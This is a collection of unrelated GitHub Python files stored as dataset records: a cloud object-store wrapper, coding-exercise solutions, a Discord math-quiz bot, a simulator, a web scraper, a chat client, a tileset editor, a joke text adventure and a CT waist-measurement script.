:meth:`libcloud.storage.base.StorageDriver.upload_object_via_stream`.\n\n Args:\n obj (bytes | Iterator[bytes]): The object.\n object_name (str): Object name (i.e. where the object will be stored in the container.)\n verify_hash (bool, optional): Whether to verify hashes (default: ``True``)\n extra (Optional[Dict], optional): Extra attributes to pass to the underlying provider driver.\n (default: ``None``)\n headers (Optional[Dict[str, str]], optional): Additional request headers, such as CORS headers.\n (defaults: ``None``)\n \"\"\"\n if isinstance(obj, bytes):\n obj = iter(i.to_bytes(1, sys.byteorder) for i in obj)\n self._provider.upload_object_via_stream(iterator=obj,\n container=self._container,\n object_name=object_name,\n extra=extra,\n headers=headers)\n\n def _get_object(self, object_name: str):\n \"\"\"Get object from object store. Recursively follow any symlinks. If an object does not exist, automatically\n checks if it is a symlink by appending ``.symlink``.\n\n Args:\n object_name (str): The name of the object.\n \"\"\"\n obj = None\n try:\n obj = self._provider.get_object(self._container.name, object_name)\n except ObjectDoesNotExistError:\n # Object not found, check for potential symlink\n object_name += \".symlink\"\n obj = self._provider.get_object(self._container.name, object_name)\n # Recursively trace any symlinks\n if obj.name.endswith(\".symlink\"):\n # Download symlink object to temporary folder\n with tempfile.TemporaryDirectory() as tmpdir:\n tmppath = os.path.join(tmpdir, str(uuid.uuid4()))\n self._provider.download_object(obj=obj,\n destination_path=tmppath,\n overwrite_existing=True,\n delete_on_failure=True)\n # Read object name in symlink and recurse\n with open(tmppath) as f:\n symlinked_object_name = f.read()\n return self._get_object(symlinked_object_name)\n return obj\n\n def get_object_size(self, object_name: str) -> int:\n \"\"\"Get the size of an object, in bytes.\n\n Args:\n object_name (str): The name of the object.\n\n Returns:\n int: The object size, in bytes.\n \"\"\"\n return self._get_object(object_name).size\n\n def download_object(self,\n object_name: str,\n destination_path: str,\n overwrite_existing: bool = False,\n delete_on_failure: bool = True):\n \"\"\"Download an object to the specified destination path.\n\n .. seealso:: :meth:`libcloud.storage.base.StorageDriver.download_object`.\n\n Args:\n object_name (str): The name of the object to download.\n\n destination_path (str): Full path to a file or a directory where the incoming file will be saved.\n\n overwrite_existing (bool, optional): Set to ``True`` to overwrite an existing file. (default: ``False``)\n delete_on_failure (bool, optional): Set to ``True`` to delete a partially downloaded file if\n the download was not successful (hash mismatch / file size). (default: ``True``)\n \"\"\"\n obj = self._get_object(object_name)\n self._provider.download_object(obj=obj,\n destination_path=destination_path,\n overwrite_existing=overwrite_existing,\n delete_on_failure=delete_on_failure)\n\n def download_object_as_stream(self, object_name: str, chunk_size: Optional[int] = None):\n \"\"\"Return a iterator which yields object data.\n\n .. seealso:: :meth:`libcloud.storage.base.StorageDriver.download_object_as_stream`.\n\n Args:\n object_name (str): Object name.\n chunk_size (Optional[int], optional): Optional chunk size (in bytes).\n\n Returns:\n Iterator[bytes]: The object, as a byte stream.\n \"\"\"\n obj = self._get_object(object_name)\n return self._provider.download_object_as_stream(obj, chunk_size=chunk_size)\n","repo_name":"BehradToghi/composer_benchmarker","sub_path":"composer/utils/object_store.py","file_name":"object_store.py","file_ext":"py","file_size_in_byte":16797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70949569127","text":"class Solution:\n def twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n tempDict = dict()\n for i, element in enumerate(nums):\n if target - element in tempDict:\n return [tempDict[target - element], i]\n tempDict[element] = i","repo_name":"DF-Kyun/LeetCode_practice","sub_path":"Table/1. Two Sum/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39966407274","text":"\"\"\"\nMath problem generator for practice and competition.\nInspired by Art of Problem Solving's FTW, which was\ndeprecated when Adobe Flash was phased out after 2020.\n\"\"\"\n\nimport discord\nfrom discord.ext import commands\n\nimport os\n\nimport random\nimport time\nimport asyncio\nimport json\n\nimport problem_gen as pg\n\nRECORDS_PATH = 'C:/Users/jettw/Documents/Sophia Tutoring/speed_bot/user_records.json'\nANS_TOLERANCE = 0.0001\nDEFAULT_TIMER = 45\nDEFAULT_POINT_GOAL = 4\n# PROBLEMS = [f for _, f in problem_gen.__all__]\n\n# %%\n# question_generators = [*problem_type.problems() for problem_type in questions]\n\n\nTOKEN = os.getenv('DISCORD_TOKEN')\nPREFIX = \"&\"\n\nclient = commands.Bot(command_prefix = PREFIX)\n\n@client.event\nasync def on_ready():\n print('Bot ready!')\n\n__in_problem = False\n\n@client.command(name='ping')\nasync def ping(ctx):\n await ctx.send('pong!')\n\n@client.command(name='cd')\nasync def cd(ctx, *args):\n f\"\"\"\n Starts a countdown round where members race to solve problems.\n Format is first to x points, each question t seconds.\n Default: t={DEFAULT_TIMER}, x={DEFAULT_POINT_GOAL}.\n To customize, call {PREFIX}cd with both arguments specified.\n \"\"\"\n if len(args) == 2 and problem_gen.helpers.check_pos_int(args):\n t, x = args\n elif len(args) == 0:\n t, x = 45, 4\n else:\n await ctx.send(f'Improper arguments to {PREFIX}')\n\n\n\n\n@client.command(name='p')\nasync def problem(ctx):\n \"\"\"\n Serves a randomized problem.\n \"\"\"\n global __in_problem\n if __in_problem:\n await ctx.send('There\\'s already an active question!')\n return\n print('Generating problem...')\n\n question, answer = random.choice(question_generators)()\n await ctx.send(question)\n __in_problem = True\n start_time = time.time_ns()\n\n def check(m):\n try:\n return round(float(m.content), 3) == round(answer,3) and m.channel == ctx.channel\n except ValueError:\n return\n \n try:\n await client.wait_for('message', timeout=DEFAULT_TIMER, check=check)\n except asyncio.TimeoutError:\n await ctx.send(f'Time out! The answer is {round(answer,3)}.')\n time_spent = DEFAULT_TIMER\n else:\n await ctx.send(f'Correct! You spent {round(time_spent,3)} seconds.')\n time_spent = (time.time_ns() - start_time)/1e9\n author_id = f'{ctx.author.name}#{ctx.author.discriminator}'\n update(author_id,time_spent)\n __in_problem = False\n \n\n@client.command(name='stats')\nasync def stats(ctx):\n author_id = f'{ctx.author.name}#{ctx.author.discriminator}'\n with open(RECORDS_PATH, 'r', encoding='utf-8') as f:\n try:\n record = json.load(f)[author_id]\n except:\n record = None\n await ctx.send(f'Stats for {author_id}:'\n f'{record}')\n #TODO properly format the stats string\n\ndef update(user,time_spent):\n with open(RECORDS_PATH, 'r', encoding='utf-8') as f:\n all_records = json.load(f)\n if user not in all_records:\n last_10 = [-1000] * 9\n last_10.append(time_spent)\n all_records[user] = {'problems attempted': 1, 'avg time': time_spent, \n 'last 10 times': last_10}\n with open('user_records.json','w', encoding='utf-8') as f:\n json.dump(all_records, f, indent=2, ensure_ascii=False)\n return\n record = all_records[user]\n record['avg time'] = (record['avg time']*record['problems attempted'] + time_spent)/(record['problems attempted'] + 1)\n record['problems attempted'] += 1\n q = record['last 10 times']\n q.pop(0)\n q.append(time_spent)\n record['last 10 times'] = q\n with open(RECORDS_PATH,'w', encoding='utf-8') as f:\n json.dump(all_records, f, indent=2, ensure_ascii=False)\n# %%\nclient.run(TOKEN)\n","repo_name":"quadraticmuffin/discord-ftw","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26325239736","text":"import SPP_io\nimport SPP_exceptions\nimport SPP_init\nimport SPP_aux\nimport SPP_encounter\nimport SPP_assert\n\n# 4,2,10,10,200\n\ndef initnodes(algorithm):\n \"\"\" Initializes the nodes given an algorithm.\"\"\"\n return algorithm.execute(nodes,maxnodeval)\n\n\nclass Node:\n \"\"\"Class node defines an agent.\"\"\"\n def __init__(self):\n self.value = SPP_aux.selectRandomInt(maxnodeval)\n \n def setValue(self, val):\n self.value = val\n \nclass Experiment:\n def __init__(self,var_init,var_encounter,var_assert):\n for algo in SPP_init.algorithms:\n if (algo.__str__() == var_init):\n self._init = algo\n for algo in SPP_encounter.algorithms:\n if (algo.__str__() == var_encounter):\n self._encounter = algo \n for algo in SPP_assert.algorithms:\n if (algo.__str__() == var_assert):\n self._assert = algo\n def __str__(self):\n return \"[init: %s, encounter: %s, assert: %s]\" % (var_init, var_encounter, var_assert)\n# MAIN #\n\n\ndef experiment():\n \n global nodes \n global maxnodes\n global var_init\n global var_encounter\n global var_assert\n global runsPerExp\n global roundsPerRun\n global maxnodeval\n \n maxnodes= eval(maxnodes)\n runsPerExp = eval(runsPerExp)\n roundsPerRun = eval(roundsPerRun)\n maxnodeval = eval(maxnodeval)\n \n \n nodes = []\n for i in range(maxnodes):\n nodes += [Node()]\n \n experiment = Experiment(var_init, var_encounter, var_assert) \n print(\"STARTING %s experiment, for %d runs\\n\" % (Experiment, runsPerExp))\n \n for run in range(runsPerExp):\n maxInNetwork = initnodes(experiment._init)\n \n for round in range(roundsPerRun):\n node1 = SPP_aux.selectRandomNode(nodes)\n node2 = SPP_aux.selectRandomNode(nodes)\n experiment._encounter.execute(node1,node2)\n \n if (experiment._assert.execute(maxInNetwork,nodes)):\n print(\"\\n--Experiment %s, run %d, OK\" % (experiment, run))\n else:\n print(\"\\n--Experiment %s, run %d, FAILED\" % (experiment, run))\n SPP_io.dumpstates(nodes)\n \n print(\"DONE.\")\n \ndef main():\n global nodes \n global maxnodes\n global var_init\n global var_encounter\n global var_assert\n global runsPerExp\n global roundsPerRun\n global maxnodeval\n \n test = SPP_io.readvalues(\"specifications.txt\")\n for t in test:\n print(\"______________________TEST______________________\")\n maxnodes, var_init, var_encounter, var_assert, runsPerExp, roundsPerRun, maxnodeval = t\n print(\"NODES:\",maxnodes)\n experiment()\n \n \nif __name__ == \"__main__\":\n main() ","repo_name":"lidiamcfreitas/SimulatorPopulationProtocols","sub_path":"simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"23241195195","text":"# 0,1,···,n-1这n个数字排成一个圆圈,从数字0开始,每次从这个圆圈里删除第m个数字(删除后从下一个数字开始计数)。求出这个圆圈里剩下的最后一个数字。\n#\n# 例如,0、1、2、3、4这5个数字组成一个圆圈,从数字0开始每次删除第3个数字,则删除的前4个数字依次是2、0、4、1,因此最后剩下的数字是3。\n#\n\n\"\"\"\n# 模拟法,递归,超时\nclass Solution:\n def dfs(self, nums, m, start):\n if len(nums) == 1:\n return nums[0]\n delIdx = (start + m - 1) % len(nums)\n nums.pop(delIdx)\n return self.dfs(nums, m, delIdx)\n\n def lastRemaining(self, n: int, m: int) -> int:\n nums = list(range(n))\n return self.dfs(nums, m, 0)\n\"\"\"\n\n# 动态规划,著名的约瑟夫环\n# 若已知[n-1,m]问题的解为f(n-1),则[n,m]问题的解为\n# f(n)=(f(n-1)+m)%n\n\nclass Solution:\n def lastRemaining(self, n: int, m: int) -> int:\n x = 0\n for i in range(2, n + 1):\n x = (x + m) % i\n return x\n","repo_name":"vandeppce/algorithm","sub_path":"15.math/Offer62*LastRemaining.py","file_name":"Offer62*LastRemaining.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"44561024158","text":"import math\nimport matplotlib.pyplot as plt\n\ng=9.8\n\ndef simple_euler(omega0,theta0,l,T,dt):\n t=0\n omega,theta = omega0,theta0\n motion=[[]for i in range(3)]\n motion[0].append(omega)\n motion[1].append(theta)\n motion[2].append(t)\n while t<=T:\n m = omega\n omega = m-(g/l)*theta*dt\n theta = theta+m*dt\n t = t+dt\n motion[0].append(omega)\n motion[1].append(theta)\n motion[2].append(t)\n return motion\n\nd=simple_euler(0,0.2,1,10,0.04)\nplt.plot(d[2],d[1],linestyle='-',linewidth=1.0,label='dt=0.04')\nd=simple_euler(0,0.2,1,10,0.05)\nplt.plot(d[2],d[1],linestyle='-',linewidth=1.0,label='dt=0.05')\n\n\nplt.xlim(0,10)\nplt.grid(True,color='k')\nplt.title('Fig.1 simple_euler')\nplt.xlabel('Time(s)')\nplt.ylabel(r'$\\theta$(radius)')\nplt.legend()\nplt.show()\n\n\n","repo_name":"zhaoyoyo/computationalphysics_N2013301020083","sub_path":"finalexam/euler.py","file_name":"euler.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"16422566995","text":"import scrapy\nimport sys\nfrom tutorial.items import Book\n\n\nclass doubanSpider(scrapy.Spider):\n \n name = 'testEntry'\n\n start_urls = [\n 'https://book.douban.com/subject/25862578/'\n ]\n\n def parse_entry(self, response):\n\n # book = Book()\n\n ############################## info from entry ############################\n ###########################################################################\n \n # title = response.css('div#info span.pl::text').extract()\n # for i in title:\n # i.replace(':','').replace(':','')\n # content = response.css('div#info::text').extract()\n # for i in content:\n # i.strip().replace('\\n', '').replace\n \n ###########################################################################\n ###########################################################################\n \n\n # book['name'] = response.xpath('//*[@id=\"wrapper\"]/h1/span')\n # book['author'] = response.xpath('//*[@id=\"info\"]/a[1]/text()').extract()[0].strip().replace('\\n','').replace(' ','')\n # book['public'] = response.xpath('//*[@id=\"info\"]/text()[5]').extract()[0].replace(' ','')\n # book['origin_name'] = response.xpath('//*[@id=\"info\"]/text()[7]').extract()[0].replace(' ','')\n # book['public_year'] = response.xpath('//*[@id=\"info\"]/text()[10]').extract()[0].replace(' ','')\n # book['pages'] = response.xpath('//*[@id=\"info\"]/text()[12]').extract()[0].replace(' ','')\n # book['price'] = response.xpath('//*[@id=\"info\"]/text()[14]').extract()[0].replace(' ','')\n # book['book_type'] = response.xpath('//*[@id=\"info\"]/text()[16]').extract()[0].replace(' ','')\n # book['isbn'] = response.xpath('//*[@id=\"info\"]/text()[20]').extract()[0].replace(' ','')\n # book['comment_link'] = response.xpath('//*[@id=\"content\"]/div/div[1]/div[3]/div[11]/h2/span[2]/a/@href').extract[0]\n\n # yield book\n\n link = response.css('div.mod-hd h2 span.pl a::attr(href)').extract()[0]\n comment_link = response.urljoin(link)\n yield scrapy.Request(comment_link, callback=self.parse_comment)\n\n","repo_name":"SunnyZWQ/crawl-book","sub_path":"tutorial/spiders/testEntry.py","file_name":"testEntry.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28991947067","text":"import socket\nimport threading\n\nHOST = \"127.0.0.1\"\nPORT = 4780\n\ndef communicating_to_server(c):\n username = input(\"Username: \")\n is_not_empty = bool(username)\n while(not is_not_empty):\n username = input(\"Username: \")\n is_not_empty = bool(username)\n\n c.sendall(bytes(username, 'utf-8'))\n threading.Thread(target=listening_for_message, args=(c,)).start()\n send_message(c)\n\ndef listening_for_message(c):\n\n while True:\n response = c.recv(2048).decode(\"utf-8\")\n print(response)\n\ndef send_message(c):\n\n while True:\n msg = input(\"Message: \")\n is_not_empty = bool(msg)\n if is_not_empty:\n c.sendall(bytes(msg, \"utf-8\"))\n else:\n pass\n\n\n\ndef main():\n c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n try:\n c.connect((HOST, PORT))\n print(\"Successful connection to server\")\n communicating_to_server(c)\n except:\n print(\"Unable to establish a connection\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"MGCreator/case-study-2-s2","sub_path":"Programming/Chat/CLI/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27440158700","text":"import json\nimport math\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom pipeline.scrapers.utils import *\n\n\nclass CNNSearchScraper:\n url = 'https://search.prod.di.api.cnn.io/content?q={keyword}&size=10&from=0&page={page}&sort=relevance&types=article'\n\n def search(self, keyword, top_n=10):\n response = requests.get(self.url.format(keyword=keyword, page=1))\n\n if response.status_code == 200:\n page_content = response.content.decode(\"utf-8\")\n\n json_data = json.loads(page_content)\n\n last_page_number = math.floor(json_data['meta']['total'] / 10)\n\n titles = []\n texts = []\n\n while len(titles) < top_n:\n for page_number in range(1, last_page_number + 1):\n response = requests.get(self.url.format(keyword=keyword, page=page_number))\n\n if response.status_code == 200:\n page_content = response.content.decode(\"utf-8\")\n\n json_data = json.loads(page_content)\n\n for result in json_data['result']:\n title = result['headline']\n href = result['url']\n print(\"Title:\", title)\n print(\"Href:\", href)\n print(\"-\" * 50)\n response = requests.get(href)\n soup = BeautifulSoup(response.content, \"html.parser\")\n paragraphs = soup.find_all('div', class_='zn-body__paragraph')\n paragraphs = [p.get_text(\" \", strip=True).replace(\"\\n\", \" \") for p in paragraphs]\n if len(paragraphs) == 0:\n paragraphs = soup.find_all(\"p\")\n paragraphs = [p.get_text(\" \", strip=True).replace(\"\\n\", \" \") for p in paragraphs]\n if len(paragraphs) == 0:\n continue\n paragraphs = \"\\n\".join(paragraphs)\n titles.append(title)\n texts.append(paragraphs)\n if len(titles) == top_n:\n break\n if len(titles) == top_n:\n break\n if len(titles) == top_n:\n break\n if len(titles) == top_n:\n break\n\n return pd.DataFrame({'title': titles, 'text': texts})\n\n\nif __name__ == '__main__':\n scraper = CNNSearchScraper()\n print(scraper.search('coronavirus', top_n=10))\n","repo_name":"Weikang01/fake_news_detector","sub_path":"pipeline/scrapers/cnn_search_scraper.py","file_name":"cnn_search_scraper.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28186639145","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n carry = 0\n result = ListNode(0)\n pointer = result\n while (l1 or l2 or carry):\n first_num = l1.val if l1 else 0\n second_num = l2.val if l2 else 0\n total_sum = first_num + second_num + carry\n carry = total_sum // 10\n num = total_sum % 10\n\n pointer.next = ListNode(num)\n pointer = pointer.next\n l1 = l1.next if l1 else None\n l2 = l2.next if l2 else None\n\n return result.next\n \n'''\nInput: l1 = [2,3,7,8], l2 = [5,6,4,9]\n\nOutput: [7,9,1,8,1]\n '''\n","repo_name":"BsalBhandari/leetCode-Python","sub_path":"addTwoNum.py","file_name":"addTwoNum.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27481896803","text":"import json\nimport pyray as rl\nimport argparse\nimport os.path\nfrom typing import Literal\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"image\", help=\"image containing the tileset\")\nargs = parser.parse_args()\njson_file = os.path.splitext(args.image)[0] + \".def.json\"\n\nincluded_tiles: dict[tuple[int, int], Literal[\"collide\", \"none\"]] = {}\ntile_size = 16\n\nif os.path.exists(json_file):\n with open(json_file, \"r\") as f:\n d = json.load(f)\n if d:\n print(f\">>> Loading previous definition from {json_file}\")\n # Use width from first rectangle as tile_size\n # NOTE: assumes all tiles are the same height/width\n tile_size = d[0][\"rect\"][2]\n included_tiles = {\n (tile[\"rect\"][0] // tile_size, tile[\"rect\"][1] // tile_size): tile[\n \"collision\"\n ]\n for tile in d\n }\n\nrl.init_window(800, 600, \"Tileset generator\")\n\ntex = rl.load_texture(args.image)\n\ntile_size_ptr = rl.ffi.new(\"int *\")\ntile_size_ptr[0] = tile_size\ntile_size_edit = False\n\nSCALE = 2\nORIGIN = (10, 50)\n\ncamera = rl.Camera2D(ORIGIN, (0, 0), 0, SCALE)\n\nrl.set_target_fps(60)\n\n# the subset of tile coordinates, mapped to their collision type\nwhile not rl.window_should_close():\n if rl.is_key_released(rl.KEY_F):\n rl.toggle_fullscreen()\n\n rl.begin_drawing()\n rl.clear_background(rl.BLACK)\n if rl.gui_value_box(\n rl.Rectangle(60, 10, 100, 30),\n \"tile size\",\n tile_size_ptr,\n 1,\n 255,\n tile_size_edit,\n ):\n tile_size_edit = not tile_size_edit\n tile_size = tile_size_ptr[0]\n\n rl.begin_mode_2d(camera)\n rl.draw_texture(tex, 0, 0, rl.WHITE)\n\n for x in range(tex.width // tile_size + 1):\n rl.draw_line(x * tile_size, 0, x * tile_size, tex.height, rl.PURPLE)\n\n for y in range(tex.height // tile_size + 1):\n rl.draw_line(0, y * tile_size, tex.width, y * tile_size, rl.PURPLE)\n\n for tile in included_tiles:\n color = rl.RED if included_tiles[tile] == \"collide\" else rl.WHITE\n rl.draw_rectangle_lines(\n tile[0] * tile_size, tile[1] * tile_size, tile_size, tile_size, color\n )\n\n mouse_pos_world = rl.get_screen_to_world_2d(rl.get_mouse_position(), camera)\n mouse_tile = (\n int(mouse_pos_world.x // tile_size),\n int(mouse_pos_world.y // tile_size),\n )\n\n if rl.is_mouse_button_released(rl.MOUSE_BUTTON_LEFT):\n if mouse_tile in included_tiles:\n del included_tiles[mouse_tile]\n else:\n included_tiles[mouse_tile] = \"none\"\n\n if rl.is_mouse_button_released(rl.MOUSE_BUTTON_RIGHT):\n if included_tiles.get(mouse_tile, None) == \"collide\":\n included_tiles[mouse_tile] = \"none\"\n else:\n included_tiles[mouse_tile] = \"collide\"\n\n rl.end_mode_2d()\n rl.end_drawing()\n\nwith open(json_file, \"w\") as f:\n json.dump(\n [\n {\n \"rect\": [\n tile[0] * tile_size,\n tile[1] * tile_size,\n tile_size,\n tile_size,\n ],\n \"collision\": included_tiles[tile],\n }\n for tile in included_tiles\n ],\n f,\n )\n\nprint(f\">>> Wrote tileset definition output to {json_file}\")\n\nrl.close_window()\n","repo_name":"clsater/legend-of-zink","sub_path":"demoassets/gen_tiledef.py","file_name":"gen_tiledef.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20941740087","text":"import sys\nfrom time import sleep\n\ndef loading(str):\n\timport sys\n\tfrom time import sleep\n\n\tfor char in str:\n\t\tsleep(0.0)\n\t\tsys.stdout.write(char)\n\t\tsys.stdout.flush()\n\ndef typewrite(str):\n\timport sys\n\tfrom time import sleep\n\n\tfor char in str:\n\t\tsleep(0.03)\n\t\tsys.stdout.write(char)\n\t\tsys.stdout.flush()\n\ndef text():\n\tloading(\"Loading........................................\")\n\timport time\n\t\n\tsleep(.5)\n\tname=raw_input(\"\\nGLERB GLBO\\n\")\n\n\tsleep(.3)\n\n\ttypewrite(\"\\n gleep gloop loop {}\".format(name))\n\n\n\tsleep(.3)\n\n\ttypewrite(\"\\nYou notice the tree you fell from has two doors on it a left and a right door \\nthey both lead to a fjlarp\\n\")\n\tsleep(1)\n\ndef blue1():\n\ttypewrite(\"You join the blue team and they hand you a freaking hotdog...\\n dont worry its a braught worst lfmao gg m8\")\n\ttypewrite(\"\\nYou just stand there and have no idea whats going on buts thats ok\\nThen sum Butt head runs at you with a hamster FIRMLy Griped in his hands\\n looks like he is on memes \\n the dank kind\")\n\ndef red1():\n\ttypewrite(\"you go into the red arean hoping to find team8s\\nbut there is only hamsters\\nyout think atleast\\ndont forget you have been drugges m8 pirtay m9\")\n\ttypewrite(\"\\nYou pick up your Pepe sword and grab a handfull of magic beans charlie\\n Then You find a golden ticket\\n YOU STARat TO SPRINT AT THIS BRO WHO LOOKS DUMB AND SMELLS LIKE CHEESE haha SOML lol!\")\n\ndef bail1():\n\ttypewrite(\"You leave Your HOT wife... DUMB BUMB WANTS GUM right get it ? no you don't\\n frekign beta noob\")\n\ndef stay1():\n\ttypewrite(\"\\nYou and Your Hunnie Pop Go to coounsling and try to work tings out....\\n but it gets so boring that you starting taking coaine to spice things up a little bit\\n get it SPICE things up haha jk jk\")\n\ndef left1():\n\ttypewrite(\"The gold ball will make you able to eat allot of pizza and not got sick\\nbruhhh You get into a ship\")#next question i have to mentin that the ball is laced with lcd\n\ndef left0():\n\ttypewrite(\"You walk into a smelly hotdog.\\nThe dog locks behind you.\")\n\ttypewrite(\"You see some Lcd and you snort that meme\\n\")\n\ttypewrite(\"SPoiler It turns out your in the hugner games and you got druged... BEata noob\\n Blue OR RED TEAM??????\")\n\tq6 = raw_input(\"\\nBlue or Red\\n\").lower()\n\tif q6 == \"blue\":\n\t\tblue1()\n\telif q6 == \"red\":\n\t\tred1()\n\ndef right1():\n\ttypewrite(\"SILVER BALL GIVS YOU POWERS YOU marry THE HOT CHICK GLEEP LOOP LOPOOPO\")\n\tsilver1()\n\t\ndef rightquestion1():\n\tq4 = raw_input(\"Silver or Gold\\n\").lower()\n\tif q4 == \"silver\":\n\t\tright1()\n\telif q4 ==\"gold\":\n\t\tleft1()\n\trightquestion1()\n\ndef right0():\n\tsleep(1)\n\ttypewrite(\"you play jker with a ladie gllop\\n\")\n\ttypewrite(\"There is a golden ping pong ball \")\n\ttypewrite(\"and a silver ping pong ball\\n\")\n\trightquestion1()\ndef silver1():\n\ttypewrite(\"\\n Ten YEARS LATER\\n You and flearjk Are having RElationship Issuies That is a no goo my friend\\n Will you try to Stay and Work it out OR BAIL\\n\")\n\tq5 = raw_input(\"Stay or Bail\\n\").lower()\n\tif q5 == \"stay\":\n\t\tstay1()\n\telif q5 == \"bail\":\n\t\tbail1()\n\ndef main():\n\ttext()\n\tq3 = raw_input(\"Left or Right\\n\").lower()\n\tif q3 == \"left\":\n\t\tleft0()\n\telif q3 == \"right\":\n\t\tright0()\n\nif __name__ == \"__main__\":\n\tmain()\n\n\n\n\n\n","repo_name":"sporttickets/EliteMormons","sub_path":"madlib.py","file_name":"madlib.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72809507368","text":"import argparse\n\nimport pandas as pd\nimport numpy as np\nimport os\nfrom matplotlib.pyplot import imshow, imsave\nfrom dicomseries import DicomSeries\nfrom utilities import (\n get_binary_body,\n fill_binary_gaps,\n mark_body,\n measure_circumference,\n detect_number_of_bones,\n get_waist_range,\n select_waist_measurement\n)\n\n# This is a sample Python script.\nparser = argparse.ArgumentParser(description='Automatically Calculate Waist Circumference from CT Scan')\nparser.add_argument('-i', '--input', help='Input DICOM Series Directory', required=True)\nparser.add_argument('-o', '--output', help='Output CSV File Directory', required=True)\nparser.add_argument('-t', '--threshold', help='Bone Area Threshold to filter number of bones', required=False,\n default=100)\nargs = parser.parse_args()\n\n\ndef main():\n # Create a DicomSeries object\n dicom_series = DicomSeries(args.input)\n # Read the DicomSeries object at an HU where bone is easily visible\n ct_scan = dicom_series.read_dicom_series('*', 0, 500)\n try:\n if ct_scan.shape[2] < 10 or dicom_series.series_info['ct_direction'] != 'AX':\n print('Invalid CT Scan')\n return\n except KeyError:\n print('Invalid CT Scan')\n return\n outdir = f'{args.output}/{dicom_series.mrn}'\n # Create the output directory if it does not exist\n if not os.path.exists(outdir):\n os.makedirs(outdir)\n # Make the base name of the output file\n description = f'MRN{dicom_series.mrn}_ACC{dicom_series.acc}_{dicom_series.cut}_waist_circumferences'\n # Create dictionary to store the results\n waist_circumferences = {}\n # For each cut, binarize the image, fill the gaps, measure the circumference, and get number of bones\n for image in range(ct_scan.shape[2]):\n image_slc = ct_scan[:, :, image]\n binary_im = get_binary_body(image_slc)\n binary_im = fill_binary_gaps(binary_im)\n body_array = mark_body(binary_im)\n measurement = measure_circumference(body_array, dicom_series.series_info['width'])\n n_bones = detect_number_of_bones(image_slc, upper_bound=225, area_threshold=int(args.threshold))\n waist_circumferences[image] = {'waist_circumference_cm': measurement, 'n_bones': n_bones}\n # Write the results to a CSV file\n df = pd.DataFrame(waist_circumferences).T\n df.to_csv(f'{outdir}/{description}.csv')\n # Select the waist measurement from the CSV file\n max_ix, waist_range = get_waist_range(df)\n waist_center, waist_ix, = select_waist_measurement(df, max_ix, waist_range)\n if waist_ix is None:\n print('No waist measurement found')\n return\n # Store the data around the waist to calculate the mean and standard deviation\n try:\n five_measure = df.loc[(waist_ix - 2):(waist_ix + 2), 'waist_circumference_cm']\n except Exception:\n print('5 index out of range for comparison')\n five_measure = None\n try:\n fifteen_measure = df.loc[(waist_ix - 8):(waist_ix + 8), 'waist_circumference_cm']\n except Exception:\n print('15 index out of range for comparison')\n fifteen_measure = None\n important_vals = [\n str(dicom_series.mrn),\n dicom_series.series_info['scan_date'],\n waist_ix,\n waist_center\n ]\n if five_measure is not None:\n important_vals.append(five_measure.mean())\n important_vals.append(five_measure.std())\n else:\n important_vals.append(None)\n important_vals.append(None)\n if fifteen_measure is not None:\n important_vals.append(fifteen_measure.mean())\n important_vals.append(fifteen_measure.std())\n else:\n important_vals.append(None)\n important_vals.append(None)\n # Write the important values to a CSV file\n fig = imshow(ct_scan[:, :, waist_ix])\n imsave(f'{outdir}/{description}.png', fig.get_array())\n pd.DataFrame([important_vals],\n columns=['MRN', 'ScanDate', 'WaistIndex', 'WaistCenter', '5-Mean', '5-Std', '15-Mean',\n '15-Std']).to_csv(f'{outdir}/{description}_measurement.csv', index=False)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"idinsmore1/waistCircumference","sub_path":"waistCircumference/calculate_waist_circumference.py","file_name":"calculate_waist_circumference.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
